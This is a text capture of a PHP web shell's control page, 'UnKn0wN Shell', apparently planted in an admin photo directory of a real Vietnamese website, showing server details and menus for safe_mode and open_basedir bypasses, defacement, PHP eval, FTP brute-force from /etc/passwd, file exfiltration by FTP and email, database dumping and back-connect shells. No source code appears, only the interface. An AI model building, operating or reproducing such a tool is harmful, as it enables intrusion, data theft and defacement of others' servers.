o--{ UnKn0wN Shell }--o  23-02-2012 03:57:24  [ phpinfo ]  [ php.ini ]  [ cpu ]  [ mem ]  [ users ]  [ tmp ]  [ deface ]  [ ln -s all ]  [ brute ]  [ users ]
  safe_mode: ON  PHP version: 5.2.17  cURL: ON  MySQL: ON  MSSQL: OFF  PostgreSQL: OFF  Oracle: OFF
  Disable functions : exec,system,passthru,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,dl,popen,show_source
  Free space : 37.49 GB Total space: 77.29 GB
uname -a : 
sysctl : 
$OSTYPE : 
Server : 
id : 
pwd : 
   Linux vt45.dns.net.vn 2.6.18-238.12.1.el5.028stab091.1 #1 SMP Wed Jun 1 13:20:25 MSD 2011 x86_64
   -
   
   Apache/2
   uid=48 ( apache ) gid=48 ( apache )
   /home/entdemo/domains/ent.com.vn/public_html/admin/photo   ( u--------- )
Executed command: safe_dir
:: Work in safe_mode ::
Work directory 4    
:: execute with function ::
With 4  Run command 4    
:: read file from vul ini_restore() ::
where file in server 4    
:: read file from PLUGIN ::
where file in server 4    
:: Edit files ::
File for edit 4    
:: write shell from vul error_log() ::
Write to file 4
Content 4    
:: htaccess safemode and open_basedir bypass ::
Run command 4    
:: SSI safe_mode bypass ::
Run command 4    
:: read dir from vul reg_glob ::
read dir 4    
:: read dir from vul root ::
read dir 4    
:: DeZender ::
Cat file 4    
:: ::safe_mode off:: ::
Close safe_mode with php.ini
Close security_mod with .htaccess
write ini.php file to close safe_mode with ini_restore vul
Use 4    
Use 4    
Use 4    
:: Aliases ::
         Select alias 4        
:: Create/Delete File/Dir ::
name 4           
:: Chown/Chgrp/Chmod ::
Command 4  param1 4    param2 4      
:: Find text in files ::
Find text 4    
In dirs 4 * ( /root;/home;/tmp )
Only in files 4* ( .txt;.php;.htm )
:: Eval PHP code ::

 
:: Test bypass open_basedir with cURL functions ::
Cat file 4    
:: Test bypass safe_mode with include function ::
Cat file 4    
:: Test bypass safe_mode with function mb_send_mail ::
Cat file 4    
:: Test bypass safe_mode, copy file via compress.zlib:// in function copy() ::
Copy from 4
to 4    
:: Upload files on server ::
Local file 4
 New name 4    
:: Download files from server ::
file 4    
Archivation 4 without archivation zip gzip
:: FTP ::
Download files from remote ftp-server
FTP-server:port 4
Login 4
Password 4
File on ftp 4
Local file 4
Transfer mode 4
Send file to remote ftp server
FTP-server:port 4
Login 4
Password 4
Local file 4
File on ftp 4
Transfer mode 4
:: FTP-bruteforce ::
FTP-server:port 4    
* use username from /etc/passwd for ftp login and password ( Users list )
Use reverse (user -> resu) login for password
:: Mail ::
Send email
To 4
From 4
Subj 4
Mail 4
Send file to email
To 4
From 4
Subj 4
Local file 4
Archivation 4 without archivation zip gzip
:: Databases ::
Dump database table
Type 4
SQL-Server : Port 4 :
Login : Password 4 :
Db . Table 4 .
Save dump in file 4
Run SQL query
Type 4
SQL-Server : Port 4 :
Login : Password 4 :
Database 4
SQL query 4

:: Net ::
back-connect
Admin name 4
IRC server 4
#room name 4
server 4
back-connect
IP 4
Port 4
Use 4
o---{ UnKn0wN Shell }---o